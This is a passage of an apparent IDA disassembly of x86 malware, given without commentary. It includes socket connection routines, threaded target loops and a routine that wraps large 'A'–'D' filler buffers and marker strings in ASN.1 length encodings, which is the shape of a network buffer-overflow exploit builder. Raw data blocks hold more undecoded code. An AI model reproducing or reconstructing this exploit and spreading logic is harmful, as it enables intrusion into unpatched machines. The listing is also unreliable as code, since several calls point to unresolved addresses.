		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0F0[eax*8]
		push	eax
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AE4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0F4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0F0
		nop
		call	near ptr 26D07D6h

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0F4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEEC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB030
		push	eax
		mov	edi, offset dword_4CDAB4
		push	offset dword_431BC4
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB03C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BEC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	22639ACh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0E4E890FCh,	0FF022441h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh
		dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h,	50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh,	4068FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	0E8575700h
		dd 22638BCh, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 22440F3h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh,	1468FFFFh
		dd 5000431Ch, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE5C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C920
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C78
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C80
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FFC
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C84
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FF0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FEC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FE8
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FDC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FD7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAFBC

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAFA0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFF4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431D14
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D44
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDCBC
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C8C
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D50
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
